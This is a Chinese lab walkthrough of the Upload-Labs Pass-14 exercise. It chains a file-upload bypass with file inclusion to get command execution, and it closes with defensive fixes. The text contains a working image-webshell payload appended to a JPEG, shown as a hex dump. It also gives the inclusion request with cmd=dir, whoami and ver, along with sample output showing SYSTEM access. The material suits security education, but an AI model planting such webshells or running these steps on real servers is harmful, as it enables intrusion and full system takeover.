绕过文件上传漏洞并利用文件包含漏洞获取系统信息的技术分析

绕过文件上传漏洞并利用文件包含漏洞获取系统信息的技术分析

一、实验环境
  • 靶场平台:Upload-Labs(Pass-14)
  • 靶机系统:Windows 8 Business Edition (NT 6.2)
  • Web服务:Apache + PHP 5.4.45
  • 关键漏洞
    1. 文件上传绕过漏洞
    2. 文件包含漏洞(include.php)
  • 实验工具:010 Editor(十六进制编辑器)

二、技术原理

1. 文件上传绕过核心
  • 文件签名欺骗:通过010 Editor在真实图片文件(JPEG)末尾注入恶意PHP代码
  • 绕过检测机制
    • 文件头保留合法的JPEG签名(FF D8 FF E0
    • 文件内容包含完整的图片数据
    • 在文件尾追加PHP代码:<?php system($_GET['cmd']);phpinfo();?>
2. 文件包含漏洞利用
  • 动态文件包含include.php未过滤file参数
  • 远程文件包含 :支持http://协议包含外部文件
  • 代码执行:PHP解析器会执行图片中的PHP代码

三、完整攻击步骤

步骤1:构造图片木马
hex 复制代码
00000000: FFD8 FFE0 0010 4A46 4946 0001 0101 0100  ......JFIF......
00000010: FFDB 0043 0005 0607 0605 0807 0607 0908  ...C............
... (合法的JPEG图片数据) ...
000001F0: FFDB 0043 0108 0909 0C0A 0C17 0C0C 1700  ...C............
00000200: FFDD 1A12 BAB1 49D8 8BC8 6E72 3FCF B52A  ......I...nr?..*
00000210: DBB3 67C5 7573 68AB 0A64 93F7 B0AB FD6A  ..g.ush..d.....j
00000220: 68F4 68E3 0723 E7E4 AFE1 DF5F 7461 2A44  h.h..#....._ta*D
00000230: B99C 0440 0879 EB47 D693 E549 5203 B205  ...@.y.G...IR...
00000240: 2629 7D0A 35A0 5F3F F09F A540 3AA8 A0FD  &)}.5._?...@:...
00000250: FA7C 9191 095C F502 91C7 CDF8 1A8E 5FB7  .|...\........_.
00000260: 4010 D140 A2A4 02D2 D21A 4312 9452 528A  @..@......C..RR.
00000270: 6039 4C4C 86A0 1534 7401 28A5 ED48 2945  `9LL...4t.(..H)E
00000280: 2500 14EA 2803 FF00 D9DC 13B4 28CA 3E45  %...(.......(.>E
00000290: 7CE0 A434 BC52 F912 71A2 B51F E1BF 3C3F  |..4.R..q.....<?
000002A0: 7068 7020 7379 7374 656D 2824 5F47 4554  php system($_GET
000002B0: 5B27 636D 6427 5D29 3B70 6870 696E 666F  ['cmd']);phpinfo
000002C0: 2829 3B3F 3E0A                           ();?>.
步骤2:上传恶意图片
  1. 访问上传页面:http://192.168.1.24/upload-labs/Pass-14/index.php
  2. 选择构造的图片木马上传
  3. 获取存储路径:http://192.168.1.24/upload-labs/upload/7320250810030340.jpg
步骤3:利用文件包含漏洞
http 复制代码
GET /upload-labs/include.php?file=http://192.168.1.24/upload-labs/upload/7320250810030340.jpg&cmd=dir HTTP/1.1
Host: 192.168.1.24
步骤4:执行系统命令(示例)
命令参数 功能 示例输出
cmd=dir 列目录 A032-9EC7 C:\phpStudy\WWW\upload-labs\upload
cmd=whoami 当前用户 nt authority\system
cmd=ver 系统版本 Windows 8 [版本 6.2.9200]

四、关键漏洞分析

1. 文件上传绕过点
php 复制代码
// 伪代码:Pass-14的检测逻辑
if(is_image($_FILES['file']['tmp_name'])) { // 仅检测文件头
    move_uploaded_file(); // 直接保存文件
}
2. 文件包含漏洞源码
php 复制代码
// include.php 关键代码
$file = $_GET['file'];
include($file); // 未过滤直接包含
3. PHP配置缺陷
ini 复制代码
; php.ini 危险配置
allow_url_fopen = On
allow_url_include = On ; 允许远程文件包含

五、防御方案

1. 文件上传安全加固
php 复制代码
// 安全的验证方案
$allowed_types = ['image/jpeg', 'image/png'];
$extension = pathinfo($filename, PATHINFO_EXTENSION);

if(
    in_array($_FILES['file']['type'], $allowed_types) &&
    in_array($extension, ['jpg','jpeg']) &&
    getimagesize($_FILES['file']['tmp_name']) // 真实图片检测
) {
    // 重命名文件+设置存储目录无执行权限
    $new_name = md5(uniqid()).'.jpg';
    move_uploaded_file($tmp_name, "/var/www/uploads/$new_name");
}
2. 文件包含漏洞修复
php 复制代码
// 白名单过滤方案
$allowed_files = ['header.php', 'footer.php'];
if(in_array($_GET['file'], $allowed_files)) {
    include($_GET['file']);
} else {
    die("Invalid file request!");
}
3. 服务器加固措施
nginx 复制代码
# Nginx配置禁止上传目录执行PHP
location ~* ^/uploads/.*\.(php|phar)$ {
    deny all;
}

六、技术总结

  1. 双重漏洞组合利用

    • 文件上传绕过 → 获取攻击立足点
    • 文件包含漏洞 → 实现代码执行
  2. Windows系统特性

    • 文件扩展名检测不严格(.jpg中的PHP代码仍可执行)
    • 路径解析特性(::$DATA流等绕过方式)
  3. PHP版本影响

    • PHP 5.4.45存在allow_url_include默认开启风险
    • 旧版本对特殊字符过滤不足

防御核心:采用"纵深防御"策略,在文件上传、存储、访问三个层面分别设置安全措施,避免单点防护失效导致系统沦陷。

此技术文章可用于网络安全知识分享,请严格遵守《网络安全法》,仅用于授权测试和教育目的。

相关推荐
碳基沙盒21 小时前
OpenClaw 多 Agent 配置实战指南
运维
BingoGo1 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack1 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
蝎子莱莱爱打怪4 天前
Centos7中一键安装K8s集群以及Rancher安装记录
运维·后端·kubernetes
JaguarJack4 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理4 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php